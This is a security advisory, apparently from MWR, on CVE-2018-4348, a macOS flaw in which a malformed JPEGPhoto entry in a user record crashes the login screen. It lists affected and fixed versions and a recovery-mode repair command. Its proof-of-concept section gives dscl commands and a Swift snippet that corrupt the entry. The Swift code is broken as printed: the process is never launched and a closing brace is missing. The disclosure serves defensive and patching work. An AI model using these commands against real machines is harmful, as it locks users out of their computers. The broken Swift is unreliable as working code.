macOS User Interface Denial of Service

Product macOS 10.13.6, 10.13.5, 10.12.6 Security Update 2018-004, previous versions may be affected
Severity Low
CVE Reference CVE-2018-4348
Type Denial of Service


Various versions of macOS are vulnerable to a Denial of Service attack via the login user interface. A malicious application or an attacker with authenticated command line access to the device can deny the user’s ability to login after the user logs out or reboots the computer.


macOS stores information about local users in the folder “/var/db/dslocal/nodes/Default/users/”. Each user is assigned a .plist file which contains configuration details about the specific user. For example, if a user “MWRUser” were to exist, then the .plist file “/var/db/dslocal/nodes/Default/users/MWRUser.plist” exists as well.

Plist files can contain various types of data, including strings and binary data. The data is provided by several “keys” within a .plist configuration file. Two of these keys are “JPEGPhoto” and “Picture”, which manage the user’s profile picture.

It was found that if the “JPEGphoto” key did not contain binary data, then the macOS operating system would crash while trying to render a profile picture for the user. This would cause the operating system to fail to load the macOS login screen, thus denying the user the ability to log into the computer via the user interface.


Users of the targeted macOS system would not be able to log into their computer via the user interface. 

Proof Of Concept

The following terminal commands could be ran by any user or application to replicate this issue. It should be noted that low level users can only modify specific data about their own user account:

user@macOS$ /usr/bin/dscl . delete /users/<username> jpegphoto
user@macOS$ /usr/bin/dscl . append /users/<username> jpegphoto randomcharacters

After logging out or restarting the macOS operating system, the user would be unable to log into the macOS operating system.

MWR created the following Swift code that could be used by any application to replicate this issue:

import Foundation

func shell(_ args: String...) -> Int32 {
    let task = Process()
    task.launchPath = "/usr/bin/env"
    task.arguments = args
    return task.terminationStatus

var username = NSUserName()
var dscl_user = "/Users/" + username
shell("/usr/bin/dscl", ".", "delete", dscl_user, "JPEGPhoto")
shell("/usr/bin/dscl", ".", "append", dscl_user, "JPEGPhoto", "mwrinfosecurity")


Apple has released the following updates which are not vulnerable to this issue:

  • macOS Mojave 10.14
  • macOS High Sierra 10.13.6 Security Update 2018-001
  • macOS Sierra 10.12.6 Security Update 2018-005

Users should update their computers so that they are immune to this attack.

Alternatively, if this attack were to be used on a vulnerable macOS computer, a user can boot their computer into recovery mode, open a terminal window and run the following command:

$ /usr/libexec/Plistbuddy –c “Delete jpegphoto” /Volumes/<mounted macOS system>/var/db/dslocal/nodes/Default/users/<username>.plist